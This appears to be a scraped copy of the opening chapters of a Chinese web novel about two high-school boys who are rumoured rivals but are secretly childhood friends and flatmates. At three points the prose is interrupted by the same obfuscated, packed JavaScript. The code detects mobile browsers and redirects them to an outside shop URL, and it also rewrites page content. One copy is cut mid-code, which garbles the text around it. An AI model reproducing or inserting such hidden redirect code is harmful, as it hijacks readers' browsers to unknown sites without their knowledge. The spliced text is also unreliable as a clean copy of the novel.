《不失》 1. 01 二中新校区这几年才开设高中部,大多是初中直升,生源单一化严重。 这届高二总共6个班,正好一条走廊塞满。 教学楼坐北朝南,楼梯建在正中间,往左是1到3班,往右是4到6班。 高一时学生们还在5楼,每升一年级就往下搬一层楼。 酷暑未消,正是开学季。 纷沓的脚步声,人来人往的喧闹,偶尔发出的尖叫,注定这绝非一个平常的清晨。 4层楼梯口正对的栏杆被改造成告示栏,不少人围在那里。 新学期,上面贴着正是选科分班的安排结果。 “麻烦让让,谢谢谢谢。” “我们在隔壁班耶!又能一起玩啦。” “哥们帮我看看1班有没有我……” “哎哎,你们快看!那两位居然在一个班!” “谁啊?” “咱们龙头虎尾那两位啊,他们居然都在3班!” “什么?3班不是物化政吗,我男神怎么没有选全理!” “什么什么,3班?我就是啊,让我看看……” …… 所谓“龙头虎尾”,不过是高一时大家对年段风云人物的调侃。 只因这两位名气实在太大,又一位在1班,一位在6班,占据年段头尾,便有了这么个代称。 至于名气为什么大……除去个性鲜明的作风,主要还是因为脸。 1班阮牧年,身高腿长身材好,一张精致帅气的脸更是锦上添花。不仅成绩优异,性格也阳光温柔,跟老师同学都能相处融洽,在年段里人缘一直很好。 6班桑群,酷拽人狠话不多,跟前者是不同风格的帅气。只是一张冷脸拒人千里之外,常人难以接近,连同班同学也对他知之甚少。传闻有人亲眼目睹他在校外轻松一挑十,体魄十分健壮。 一开始,虽然两位是年级里不可多见的帅哥,但因为没什么接触并没有多少人把他们联系在一起。 直到二中校园论坛(新校区高中部限定版)浮现一条投票贴,讨论谁是这一届段草——一场王不见王的无硝烟战争拉开序幕。 不论是真心投票,还是为班级拉票,最终这两位的票数以断崖式增长与其他候选人拉开距离,并且随着其他年段的加入,投票数至今仍在上涨。 就这样,“龙头虎尾”的代称逐渐在年段里传开。 但大众眼中的两位主人公并未一直独自踞山为王。 高一某场篮球友谊赛上,他们在球场上碰面,整场下来你争我抢、不遑相让,打得激烈非常,在全年段师生心里留下了深刻印象。 至此,两人针锋相对,彼此不合的事情也广为人知了。 而现在,这两位居然被安排到同一个班级?! 这一事情顿时在年段里扩散议论开来。 同学们津津乐道,一山不容二虎,究竟是胜者为王败者为寇,还是3班从此被搅得天翻地覆,都有了不同的说法。 开学第一天,上课时间比正常延迟了两小时,9:07才打响预备铃。 闹哄哄的3班教室渐渐安静下来,班主任老师踩着铃进门。 她抬了抬眼镜,环视了一圈教室,没顾还有3分钟才上课,先介绍起了自己和班级情况。 “我们班的选科是物化政,我呢,除了班主任也是大家的物理老师,希望新学期……” “咚咚。” 敲门声在后门响起,不仅打断了班主任的话,也吸引了全班同学的注意力。 大家纷纷扭头去看。 只见少年披着松松垮垮的校服,拉链敞着,书包只背单肩,站在门边不低不高喊了声“报告”。 班主任:“开学第一天就迟到……” 她话还没说完,正式的上课铃声骤然响起。 少年毫无畏惧地回视讲台上的老师,双肩微耸。 好像在说:没迟到。 班主任:“……” “从前门进来,”来不及为丢掉的面子默哀,她很快找到了新的教训点,“谁教你在后门打报告的?” 桑群微微皱眉。 班上唯一的空位就在第二大组最后一排,从后门进最方便,去前门绕路算怎么个事儿? 作为年段风云人物,班主任自然认识这张脸。 听以前6班的老师说,那个桑群可不好带。他不会跟老师起冲突,却十分我行我素,来软来硬都不管用。 但班主任坚信再糟糕的学生也能被教化,今天就从教他走前门打报告开始。 谁知桑群充耳不闻,长腿一跨就到空位上坐下。 班主任上任还没3秒就被气到:“你……!” 桑群随手掏出物理课本放在桌面上,颔首淡淡道:“打扰了,您继续。” 突如其来的礼貌让班主任怔了一下,于是错过了教育的最佳时机。学生已经在座位上坐好,这时再叫人起来便是为难了。 新学期要交代的事情也很多,没必要为了一个报告浪费时间。班主任只得把怒气咽下,继续之前的话。 新班级人数不多,最后一排也不算靠后,反而视野极佳。 但桑群对舒服的新座位没有什么感触,半靠在椅背上,右手无聊地转着笔。 他薄长的眼皮半耷,似乎是在看桌上课本,可连封皮都没翻开。 周围有人时不时扭头打量他,好奇的目光不仅在桑群身上打转,也十分雨露均沾地落在他同桌的身上。 与桑群懒散的坐姿不同,他的同桌脊背笔挺,始终正襟危坐,眼神明亮,目光追随着老师,甚至时刻面带微笑。 一副好学生模样。 讲了快二十分钟,终于交代完班级事务。班主任抬眼看向后排,点头道:“在正式班委评选出来之前,就由阮牧年同学暂代班长一职吧。” 好学生同桌含笑点头:“好的,老师。” 桑群快合上的眼皮忽然一颤,眨着睁开了眼。 谁? 周围的同学隐隐激动,年段令人闻风丧胆的六爷桑群终于要意识到自己身边坐着那位声名远扬的一哥了吗? 六爷、一哥都是根据两人高一所在班级取的诨号。 然而六爷抬头的瞬间,手里一直转着的笔啪地掉在地上,他顿时忘记去看看同桌何许人也,低头捡笔。 刚直起身,班主任就叫大家翻开教材,桑群掀开封皮,开始给课本署名。 暗中观察的同学们:“……” 这剧情是不是展开得有点太平淡了? 原本在6班的同学摇摇头,心道他们六爷果然没变,对自身以外的人事物没有任何兴趣,眼都不带抬一下的。 好不容易捱到下课,后排的剧情也没有新的进展。因为铃声一响,桑群就一头栽进课本里补觉,而代理班长阮牧年则在班主任的传唤下出了教室,去办公室拿材料。 没有好戏看,原6班同学就被大家纷纷围住,打听这是怎么回事。 “实不相瞒,六爷以前在班上就这样,上课微眯,下课秒睡。之所以没什么人能跟他搭上话,除了他那张冷脸的拒绝debuff,更大的原因是他一下课就睡,压根不给人接触的机会!” 原来拒人千里是睡出来的。 大家又围住原1班的同学:“听说阮牧年在1班也是班长,他严不严啊?” “大家放心,一哥人超——好的!绝对是站在咱们这边的,不包庇不偏袒,而且还会跟老师争取福利……” 众人顺势聊起以前的班级和老师,开启疯狂吐槽模式,以至于后排发出一道刺耳声响的时候都愣了一下,差点没反应过来。 声音的源头,好像是…… 果不其然,阮牧年不知何时已经回来,站在桑群座位边,手腕被后者紧紧抓着。 嘈杂的环境渐渐安静。 今天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356279|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年段新闻有了:两位大佬齐聚3班,一下课便缠斗在一起,闹翻了天! 时间倒回几分钟前。 年段办公室里。 “……老师知道,你一直是个好同学。现在桑群坐在你旁边,你平时替老师多管管他……” 阮牧年走出办公室的时候无奈地叹了口气。 一开学就莫名被安了代理班长的名头——他这学期并不打算继续担任班干部——现在还要替老师盯人。 桑群有什么好管的,不就是上课犯困吗?一般下课就生龙活虎了。 直到他回到班级,看见了把椅子往后一蹬,睡得十分踏实的桑某。 还把后排的过道霸占了三分之二,导致顺利返回位置要么叫醒对方,要么绕道。 阮牧年:“……” 他当即伸手揪这只瞌睡虫的后领。 刚用力就被对方反制了。 于是就有了大家看到的对峙画面。 桑群长眉紧蹙,面带不善。 没睡醒的嗓音低沉带哑,透露着浓浓的不悦:“……有事?” 短短两个字,却传达出其后压制不住的不耐烦:你最好有点能听的事情,否则就死定了。 围观同学听着心惊。 却见阮牧年丝毫不怵,依然笑着回答:“让让,我回座位。” 完了完了,这完全是起冲突的节奏,同学们开始紧张。 桑群眼睛一眯,松开抓手腕的手,腾地一下站起来。 有人捂住了眼睛,有人兴致勃勃地看热闹,也有人犹豫地迈开腿,不知该不该上前劝一下。 最为忧心的要数桑群的前桌,大佬争斗,殃及池鱼怎么办? 这样想着,他一咬牙,竟在桑群有所动作之前英勇地拽住了对方的……衣袖,眼一闭喊道:“哥你冷静点啊冷静!” 同学们纷纷对勇士侧目。 只有两位当事人向前桌投来疑惑的目光。 本要起身让道的桑群莫名被人拉住,百思不得其解:“……你也有事?” 孰知这话落到听者耳中,却成了:你也想死? 前桌一个哆嗦,收起双手,不敢再看。 阮牧年噗嗤笑了:“刘嘉同学大概是怕我们起冲突,才出手阻拦吧。你这坏脾气得收一收啊,同桌。” 桑群站到过道上,不情不愿地“嘁”了一声。 等阮牧年坐下,他把椅子拉近,继续趴下补觉。 本以为会有一场惊涛骇浪的battle,没想到竟这样平静收场。 阮牧年如同传闻中那般亲和,对谁说话都是面带三分笑,而桑群也不愧他生人勿近的评价——物理意义上的。 前桌扭过身子,轻声对阮牧年说:“班长,你还知道我的名字啊?” “当然,你之前不是在2班嘛,隔壁班怎么记不住,”阮牧年笑吟吟地用气音回他,“不过叫我名字就好,毕竟只是暂代班长,我这学期不打算竞选班委的。” “哦哦,好的。” 旁边有一尊大佛在睡觉,两人没再多说。 大佛睡了一整个上午,除了上课勉强能爬起来恹恹地撑40分钟,一到课间就跟散架似的哐当倒下。 由于主角之一深陷梦乡无法参演,3班群众们一早上也没能吃到瓜,开学第一天的上午就这么安然度过了。 周围杂乱的声响逐渐淡化,桑群挣扎着从臂弯里爬起来的时候,教室里已经空无一人。 抬头看了眼挂钟,12:23,还没到午休门禁,他重重揉了揉太阳穴,试图让自己不那么昏沉。 下午还要上课,书包就留在座位上。 桑群插着校服外兜,一步步晃出教室。 出校门直走左拐,再右拐,踏进一条小巷。 巷尾立着一道颀长的身影。 桑群脚步放缓,眼睑微眯。 那人回过头。 是阮牧年。 2. 02 桑群冷着一张脸,眼皮半耷,看不出心情好坏。 他依旧双手插兜,脚步慢悠悠的,就这样走到阮牧年面前。 然后一头栽倒在对方肩上。 阮牧年站得笔直,是个很好的架子。他喉中闷笑,颤动蔓延至肩颈,靠起来有些酥麻。 伸手在桑群背上拍了拍,他语气无奈:“睡了一上午,还困?” 桑群低声回他:“……都是因为谁。” “唔,是我的错,”阮牧年说,“不过你昨晚究竟几点睡?” “快四点。” “难怪。中午想吃什么?好好补偿你一下。” 桑群闭着眼开始点菜:“花蛤扁食汤、蒜台炒肉、糖醋里脊、虾仁炒蛋……” 阮牧年失笑:“你真是饿了啊。” 他把肩膀上快睡过去的少年扶正,说:“之前忘记带醋,我去附近买一下。” 桑群点头,又加了一句:“辣酱。” 这个也没买。 阮牧年微微皱眉:“少吃点辣。” 桑群坚持:“辣酱。” “……好吧,”阮牧年妥协,拍了拍他的肩,“你在此地不要走动……?” 桑群听出他的言外之意:“滚。” “开玩笑的,”阮牧年笑了笑,说,“你先回去,我很快就回。” “嗯。” “走路要睁眼啊。” “哦。” 杂货店就在不远的街口,阮牧年没几分钟就完成了采购,返回家中大门半掩着,里面一片漆黑。 没开灯吗? 客厅的小沙发上隐约能看见一团人影,阮牧年轻轻合上门扉,抬脚先去了厨房。 拉上玻璃门,他将东西放好,熟练地清点食材,架锅起火。 半小时后,厨房门打开,一股浓郁的鲜香气味飘出,简直令人胃口大开。 阮牧年走到沙发边,桑群还缩在沙发角落,盖着外套睡觉。 他半蹲下来,手掌盖在对方的肩上轻拍,嗓音放低放缓:“桑群,该吃饭了。” “嗯……” 桑群不自觉皱了皱眉,脑袋撇向另一边,双眼仍然紧闭着。 阮牧年伸手绕到他后颈处,捏了捏,又叫了好几遍。 “醒醒,吃完再睡。” “……啧,”桑群一脸戾气地睁开眼,烦躁得不行,“知道了,好吵。” 阮牧年把他从沙发上赶走,自己坐上去,吩咐道:“去端菜打饭,汤碗我昨晚收到右边的柜子里了。” “哦。” 沙发前摆着一张小桌,既是茶几,也是餐桌。 这间房子是他俩合租的,一室一厅一卫,客厅角落做个隔离就是厨房。房子条件一般,但胜在离学校不远,附近也比较安静,对于学生党来说十分良心了。 尽管在外人眼中,他们的关系水火不容,但实际上,他和桑群从幼儿园认识至今少说也有十几年,说声竹马也不为过。 只是高一没在同一个班,又一起打了场激烈的篮球赛,不合的谣言就传得有鼻子有眼。 这次在外租房,他不过透露了一点意向,桑群没怎么犹豫就应下同居的事情。 既然一起住,事情总要分摊好,比如他做饭,桑群就负责端饭洗碗。 饭菜摆好,阮牧年的手艺一如既往的美味,桑群吃得很快,刚搁下筷子就被另一人抓住手。 “碗不用洗了,我来吧,”阮牧年抿了口汤,“去睡觉,下午别犯困。” 桑群点头:“哦。” 说罢,就似一缕游魂飘进了卧室。 阮牧年抬头看了眼挂钟,距离上课还有一小时时间,足够了。 说到桑群今早萎靡不振的事情,确实是他的不对。 今天开学,昨晚理应早睡。只是傍晚阮牧年在饭桌上吐槽前不久上手的一款游戏,有一关死活过不了。 反正时间也早,桑群决定帮他看看。 饭后,两人便窝在沙发上打游戏。 游戏是打怪解密类型,卡住阮牧年的是倒数第五关。桑群注册了一个新号,从头演示给他看。 这方面桑群确实比他厉害,阮牧年大彻大悟,看着看着困意不由涌上心头。 等桑群终于演示到倒数第五关,转头一看,始作俑者阮某不知何时已经靠着沙发背睡着了。 而不知不觉,时间也悄然滑至凌晨。给阮牧年盖上被子,自己折腾一番再回房间睡觉,快到四点才入眠。 桑群午觉的梦里依旧在关卡里跟小怪斗智斗勇。 好不容易闯进了最终关,抬头一看,嚯,终极Boss居然是阮牧年这个坑货。 Boss阮牧年邪笑着抄起暗夜魔杖,破风朝他挥来—— “要、迟、到、了——桑群——!” 桑群猛然惊醒,阮牧年放大的脸近在咫尺,还在摇晃他的肩膀。 “赶紧的,”见他醒了,阮牧年把人从被窝里扯起来,到一旁拎起书包,“下午第一节是班主任的课,她预备铃就会开始上课,别再被逮住了。” “……哦。” 双肩背好书包,在镜子前抓了把头发,余光瞥见桑群已经下床,阮牧年道:“我先走了,你快点。” “哦。” 推门离去的阮牧年如往常一般笔直帅气,桑群却幻视他的背后长出终极怪特有的黑色羽翼。 “……” 摇了摇头,又拍了下太阳穴,桑群彻底清醒。 都做了什么破梦。 没有书包,桑群一身轻松,踩着预备铃来到教室。 身边的位置是空的,班主任也迟迟没有露面,听前桌和他同桌的窃窃私语——实际上并不小声——代班被老师叫去办公室交代开学事宜。 “开学第一天要见班主任三回,早上一节课下午一节课,最后还有一节班会课……” “可不是么,杀了我吧……” “不过听说,第一节班会课就要评选班委。” “这么快?虽然我没兴趣,但都不给别人准备的时间吗?” “谁知道呢,我们班主任不是挺年轻的嘛,可能有什么新想法……” “希望是创新,不是创人。” …… 等到上课铃响,阮牧年跟着班主任从前门进来,只能绕道从另一边回座位。 这一行为落在他人眼里,同样成为了不合的佐证。 班主任开始上课,介绍本学期物理课程的新难点。 桑群摊着课本,指尖摩挲着纸页角,有一下没一下地搓折。 没有板书,光听讲课声,桑群没一会儿就开始走神。 左手被什么东西碰了一下,低头一看,是阮牧年用笔帽敲了他的手背。 对方仍然坐得端正听讲,仿佛那一下只是笔不小心掉了才砸到人。 桑群别过脸,开始强迫自己听课。 本来想选文科,但自己的物理和历史都一样烂,考虑了一番还是选了理科班。 没想到的是阮牧年居然没选全理。 早上发现他跟自己一个班,确实有些惊讶。 毕竟对彼此都有基本的了解,两人都没细问对方的选科。 但……既然在一个班,桑群不由坐直了一点,还是别在他眼皮底下开小差好了。 阮牧年比老师有威慑力多了。 有人回头不经意发现,物理课从不抬头的六爷居然在认真听课。 差点忘记自己要拿什么东西。 下课老师一走,桑群就出了教室。 没热闹可看固然有些失望,大家还是围在了代理班长身边,打听最近的情报。 “嗯?”阮牧年抬起头,笑着解答他们的疑问,“待会儿班会课确实要选班委,什么形式张老师倒没说,就说很民主。” “那代班你要竞选班长吗?我给你投票啊!” “谢谢啦,”阮牧年谢过他的好意,“不过我不打算继续当班委,可能要让你们失望了。” “一哥,跟桑哥坐同桌的感觉怎么样?” “?” 跟桑群一起坐还需要有什么感觉吗? 不明所以的沉默仿佛冷场的开端,向来好脾气的阮牧年连笑容都僵硬了,桑群果然是他的逆鳞! 周围同学们不约而同地产生这样的想法。 有人赶紧岔开话题:“话说,牧年你怎么没选全理啊?我有个朋友专门选了全理还想跟你一个班呢。” 大家纷纷加入这个话题的讨论,迅速把上一个话题抛之脑后。 直到上课桑群才慢吞吞走回来,发梢有些湿。 阮牧年一看就知道他干嘛去了,问:“怎么样?” “臭,”桑群摇了摇头,“连廊过去行政楼那边的还好点。” “难为你还绕那么远路。” “还行。” “洗脸了?” “嗯,还有点困。” “政治课还担心犯困吗,”阮牧年笑着轻声说,“我还得仰仗你呢,学霸。” 桑群皱了皱眉:“别这么说。” 传闻中高帅酷霸拽的六爷其实是个事儿精,有些轻微的洁癖和强迫症。 比如从五楼搬到四楼,就要特地用一个课间,去考察这层的洗手间。 结果跟上学期没什么两样,老师办公的行政楼厕所总是比教学楼好。 就算是洗把脸,也要挑味道好闻点的厕所。 不过阮牧年说的也没有毛病,尽管理科成绩一般,桑群的政治确实很不错。 是阮牧年也得向他请教的那种。 桑群默默扭头,不想让旁边人知道他文科课一般都在睡觉。 希望今天……能撑得久一点。 接下来的政治和语文课,桑群觉得自己仿佛在进行什么苦修。 课是一点都听不进去的,眼皮很沉重,意识也很涣散,但得撑住,还不能让旁边的好学生察觉。 坐同桌不到6小时的第一天,桑群就想换位置了。 最后一节班会课,没有催眠的讲课声,桑群勉强打起了一点精神。 “我们本学期的第一节班会课,就来竞选一下未来两年的班委,”班主任张老师在黑板上写下标题,“这次呢,我们采取不同的形式评选班委……” 啧。 低估了老师嗓音的催眠能力。 桑群咬着牙忍住了一个哈欠。 左腿被什么东西碰了碰,是阮牧年撞了他一下,眼睛还看着讲台,嘴唇微启,声音几不可闻。 “……实在不行就趴一趴。” 桑群眨了眨眼睛。 台上张老师还在继续: “好,讲完了规则,那我们从1号同学开始。” 什么东西? 桑群又眨了眨眼。 1号同学有些紧张,站起来声音也不大,听不清大概:“呃,那个,我……然后……所以……” 张老师点点头,在本子上记下什么:“嗯好,下次发言可以说得再大点声。” 啊? 桑群眨不动眼睛了。 旁边传来压得极低的一声闷笑,阮牧年坐得笔直,唇角微挑,余光瞥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356280|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 桑群:“……” 上课没听有这么好笑吗。 本就冷淡的脸瞬间又黑了几分。 阮牧年用唇语提醒他:看。 桑群抿了抿唇,去观察前面号数的同学到底在讲些什么东西。 好在还是有声音洪亮的同学,不知第多少号站起来,满面红光:“我、我我想要推荐阮牧年同学继续担任班长一职!我之前是1班的,我觉得阮牧年同学非常,呃,非常好……” 班上响起一阵低低的哄笑。 “……他真的很有亲和力,也从不拒绝别人的求助,我想班级里需要这么一个领导者……” 不知多少号同学勇敢地说完论据,班上不少人边听边点头,张老师同样赞扬:“好,接下来的同学们也要这样发言。” 什么啊。 敢情是推荐会。 现在是推荐班长的环节么? 桑群偷偷瞥了旁边一眼,却发现阮牧年的目光破天荒地跟老师的身影短暂分手了,正低头在纸上写着什么。 推荐词吧。 估计是在编一些显得谦逊的自荐词。 桑群兴致缺缺地继续看班委推荐会,不,应该叫阮牧年个人美好品质大赏。 不管认识不认识阮牧年,十个里面至少有六个都在推荐他。 就连张老师走到一半都不由点头:“阮同学人气很高嘛。” ……无聊。 顺序轮到阮牧年,彬彬有礼的好学生站起来就先感谢了老师同学们的一番好意,然后道:“不过这学期希望有些新变化,所以大家还是饶了我吧。” 他笑着说出非常小众的语言:“我推荐桑群同学当政治课代表呢。” “……” 话音刚落,班级里面一片死寂。 班主任手里的话筒微微下滑,同学们纷纷呆滞住,而被提到的当事人手指一抖,原本旋转得流利又飞快的笔啪嗒掉在桌上。 “……” 制造冷空气的罪魁祸首眼睑微垂,嘴上仍在继续:“……我觉得桑群同学很适合这个职位,首先,他的政治成绩非常优秀……” 所以纸上写的原来不是自荐词,而是桑群推荐词??? 不过比起这个,桑群更震惊他是怎么给自己编出这么多优点的。 周围的同学均是一脸难以置信。 前桌刘嘉回过头,冲还在输出的阮牧年疯狂眨眼:哥们你要是被绑架了就呼吸一下啊! 只有班主任张老师,在最初的一阵惊讶后,竟听着阮牧年的推荐词频频点头。 她觉得这是个绝妙的点子,正好可以治一治桑群我行我素的毛病。成为班委,就难免要跟老师同学打交道,既可以磨磨性子,也起到了激励别人努力的作用。 ——连桑群都当上班委尽职尽责了,其他人还有什么理由不努力? 班主任非常满意地请阮牧年坐下,推荐还在继续。 轮到桑群,他站起来只有短短的三个字:“阮牧年。” 苦大仇深到让人觉得他说的是“我杀了你”。 班主任:“推荐职位和推荐理由呢?” 桑群微微皱眉,思索片刻才道:“物理课代表。无理由支持。” 不能为兄弟两肋插刀,只好插兄弟两刀了。 桑群知道阮牧年不想当班长,不过在班主任是物理老师的班级里,物代没比班长轻松多少。 阮牧年万年不变的笑容微凝。 班主任在心里叹了口气,挥挥手让他坐下,更加坚定了让他当班委试试的想法。 好不容易熬到放学,下周才开始有晚自习,同学们纷纷收拾书包准备回家。 桑群没装两本书,书包一挎就走了。 仔细记下今日的作业,安排带回去的书本,阮牧年留在座位上又做了一部分作业,才起身离开。 还是夏令时,天空微灰,底色洁蓝。 到了巷口,果然有个瘦高的人影倚在墙边,碎发微垂,脖颈拉出修长的线条。 阮牧年抬手在他下巴上挠了一下:“小心颈椎突出。” 桑群睁开眼,偏头躲开他的手:“这么慢。” 阮牧年笑道:“看你有几本作业没带,帮你一起捎回来了。” 桑群:“。” 不是,哥们。 没必要吧。 他的目光扫过阮牧年后背,自然地伸手拎过对方的书包。 背上轻松,阮牧年活动了下肩膀。 他不喜欢背重物,因为这样容易损害身形,强撑姿态又会肌肉酸痛。 桑群早就把书包扔家里了,一个人出来等。两人去附近的市场买了点菜,再一块回去。 待会儿还要写作业,晚饭做得比较简单,几个小菜配上稀饭。两人胃口都不小,饭是按三人份煮的。 吃完饭,桑群被阮牧年摁在书桌上,被迫咀嚼了四十分钟的物理作业。 学完他趴在桌上,眸里了无生机。 “……这算报复么。” 阮牧年合上书册:“我数学也做完了。” 桑群宛如濒死的鱼挣扎起来,作业本边角对好叠到角落里,起身离开书桌。 阮牧年闭目靠在椅背上回顾方才的错题,身后安静了一阵,随后传来咯吱的开门声。 他睁开眼,坐直了:“桑群?你在干嘛?” 少年冷淡的嗓音像是从门内传来的,模糊又遥远:“……洗澡。” 闻言,阮牧年腾地挪开椅子,快步钻进卧室又钻出来,堵在卫生间门口:“等等我,一起洗啊。” 3. 03 桑群正揪着后领把校服短袖脱下来,随手扔到一旁的脏衣篓里。 正在拔条生长的少年身形颀长,肤色白皙光滑,肌肉线条流畅轻薄不显夸张,手里拎着一套浅蓝色水波星星图案的睡衣。 桑群回头,看见来人一脸无语:“你就拿条内裤?” 阮牧年挤进来:“我找不到我睡衣了……” “阳台,”桑群按着他的肩膀把人转过去推出厕所,“去拿,等你。” “等我啊。”阮牧年把内裤塞到他手上,又窜了出去。 阳台挂着一套鹅黄色云纹太阳图案的睡衣——是桑群妈妈为他俩买的同款——他连着衣架一起扯下来,重新回到卫生间。 谁知某个说会等他的人已经在花洒下站好,阮牧年把睡衣胡乱扔到桑群整齐叠好的睡衣上,抓着下摆边脱边道:“等等我啊,等下开水,等下等下等下……” 桑群拿着花洒,要开不开的,有点烦躁。 阮牧年踩进浴室的下一秒,就被花洒正对着浇了一身。 “哎呦。” 桑群冷眼冲他:“磨磨蹭蹭。” 阮牧年把花洒抢过来,避开脸冲回去:“你都不说你要来洗澡。” “困,想早睡。” “洗头吗?” “嗯。” 阮牧年点头,关了花洒架回高处:“那待会儿就不拿下来了。” 桑群把挤好沐浴露的沐浴球递给他。浴室空间不大,站两个人勉勉强强,桑群动作很快,粗粗打过一遍泡沫就准备冲水,想看一眼阮牧年好了没,却见某人对着墙角专心致志地搓着小手臂。 搓了半天还没挪位,他那只手是沾屎了吗。 桑群一球怼到他背上,眉头微蹙:“你手上有屎吗。” 阮牧年浑身颤了一下,无意识搓摸的动作瞬间流畅起来:“哦、哦,有点走神了……我站远点你先冲……” 好像有哪里不太对劲,桑群帮着他把后背搓了,转过对方肩膀观察神态。 “可以冲了,”阮牧年眨了眨眼,“这么盯着我干嘛啊。” 桑群看着他:“你没事吧?” 阮牧年一怔:“我有什么事?” 桑群又看了他两秒,转身去开水,轻轻把话题带过:“你看起来有点毛病,特别是下午。” 阮牧年回想了一下,噗嗤笑了:“我推荐你当班委的时候啊?” 桑群接了一捧水泼他身上,点点头:“有大病。” “我高一上培优课的时候,跟过张老师一段时间,”阮牧年笑着说,“她比较……嗯,很快你就会知道了。” 桑群闭着眼仰头冲了一会儿头发,站到一边低头拧了拧水,说:“我本来不会投你,要怪就怪自己吧。” “嗯?”阮牧年冲洗着身上的泡沫,“没有你那一票,我大概率也得当个一官半职的。” “那还大肆宣扬不想当班委?” “表达一下美好愿景嘛,”阮牧年站近花洒水流,带笑调侃,“也有傻子真信了啊。” 桑群:“……” 他抹了把眼睛上的水珠,不客气地踢了踢阮牧年的小腿:“低一点。” 阮牧年仰着头,听话地屈膝:“我们不是一样高么,干嘛老要我蹲下来一点。” 桑群指尖拨开他的发丝,熟练地搓揉:“抬手累。” “哦,嗯,轻点,”阮牧年嘶了一声,“你扯到我头发了。” “打结了,”桑群并没有手下留情,“你涂发胶了?” “我没有那玩意……” “那就是上次没抹护发素。” “呃……” 狡辩失败,阮某人终于闭了嘴。桑群抹开泡沫,帮人搓头的同时心里也在理着思绪。 阮牧年确实有些奇怪,下午的事只是个敷衍人的幌子,真正让人觉得异常的原因他并没有说出来。 两人认识这么久,如果出了大事阮牧年不会不跟他说,或许只是一些细枝末节的烦恼。 又或者,只是对方暂时不愿意说。 没关系,他有耐心等到阮牧年主动开口的时候。 上完护发素,两人把花洒拿下来,轮流冲了一遍。 桑群目光流连在阮牧年身上:“……你好像健壮了不少。” “是吧?”阮牧年眼睛一亮,向他展示,“开学前几周我一直在锻炼。” 视线从腹肌处下移,桑群双眼微眯:“……似乎也变大了。” “是吗,”阮牧年看回去,“之前是一样长,要再比比吗?” “下次吧,”桑群关掉花洒,走出浴室,“今天没带尺子。” “哦哦。” 披上浴巾的时候,桑群想,果然不对劲。 从前聊起这类话题,阮牧年还会脸红。 今天居然从善如流地接了下去。 到底吃错什么药了? “桑群、桑群!” “干嘛。”桑群没好气把浴巾扔过去。 阮牧年连忙接过,觉得自己被吼得莫名其妙:“你的起床气居然持续了一整天吗……我想说你拿的是我的睡衣。” 确实拿错了,手里是阮牧年随便乱扔的皱巴巴的鹅黄睡衣。桑群推开这坨破烂,翻出底下自己整齐的衣物,两下套上了。 偏头看,阮牧年衣服还没穿上,他披着浴巾说:“头发还在滴水,我待会儿再穿衣服好了。” “随便你,别着凉就行。” “你这就准备睡了吗?” “吹头发。” “哦哦,帮我一起吹啊。” “去沙发坐好。” “嗯!” 从卧室拿出吹风筒,阮牧年已经坐好,手里揪着他那件怎么洗都皱巴巴的睡衣。 谁也想不到,在外面光鲜亮丽精致帅气的阮牧年同学,私底下压根不会打理自己,洗澡得别人监督着去洗,洗头只会乱挠,连头发也吹不好,大部分时间都是桑群帮他吹。 除了做饭,阮牧年的生活技能几乎不及格——不是不会做,而是做不好,并且怎么纠正都做不好。 就像桑群无法理解他那件睡衣,究竟是以什么清奇的姿势洗,才能洗出这副鬼样。 导致他完全无法忍受这么个玩意跟自己的衣服待在同一格衣柜里,忍不了的时候就拿根衣架挂阳台上自生自灭。 插好插头,桑群站在阮牧年面前打开吹筒。轰轰作响的风声里,阮牧年闭着眼说:“要吹顺点。” 桑群不轻不重地拍了一下他的后脑,那颗脑袋顺势倒在他肚子上。 “……还吹不吹了。” 脑袋埋在他身上没回应,桑群无奈,转变方向继续吹。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“为什么?”阮牧年看着自己的拳头,“按照常理转两次逻辑应该就是正确的啊。” “你把我的要求也算一层了吧,”桑群说,“实际上这只是个幌子,推导得从下一层开始。” 阮牧年抱头:“啊……” 桑群拍了拍他的肩膀:“晚安。” “……晚安。”阮牧年垂头丧气。 桑群忽然弯下腰靠近他的脸:“阮牧年。” 阮牧年抬眼。 “晚上如果做了噩梦,欢迎过来避难,”桑群鼻尖贴了贴他的鼻尖,“心情不好也可以,书不是白看的。” “啊……”阮牧年愣了愣,指尖抵着他的脸推开,笑着说,“知道啦。” 桑群的身影消失在卧室门边,卧室门没关,是他们默认的约定,没有门板阻隔,互相能有个照应。 阮牧年收回视线,理了理沙发上的被子。 “好险……” 呢喃声压得很低很低,几乎无声。 果然……在桑群面前,自己掩饰不了多久。 在沙发上侧躺下来,阮牧年拉高被子,半张脸埋了进去。 可是,自己又该怎么办呢? 4. 04 没过两天,班委的候选名单就公布出来了,桑群赫然在列。 张老师站在讲台上,推了推眼镜:“大家可以给班委候选人投票了,注明推荐人和推荐职位,每人最多可以推荐10个班委,我们采取不记名投票,欢迎大家把写好的纸条塞进我办公桌抽屉里。” 桑群摸出一张纸,列出1到10的序号,开始在每一行填上阮牧年的名字。 阮牧年余光瞥到,笑了笑,低声道:“报复啊?” 没理会旁边人,桑群在推荐职位上把从班长到学委,甚至每一科的课代表都写了进去,然后潇洒合上笔盖。 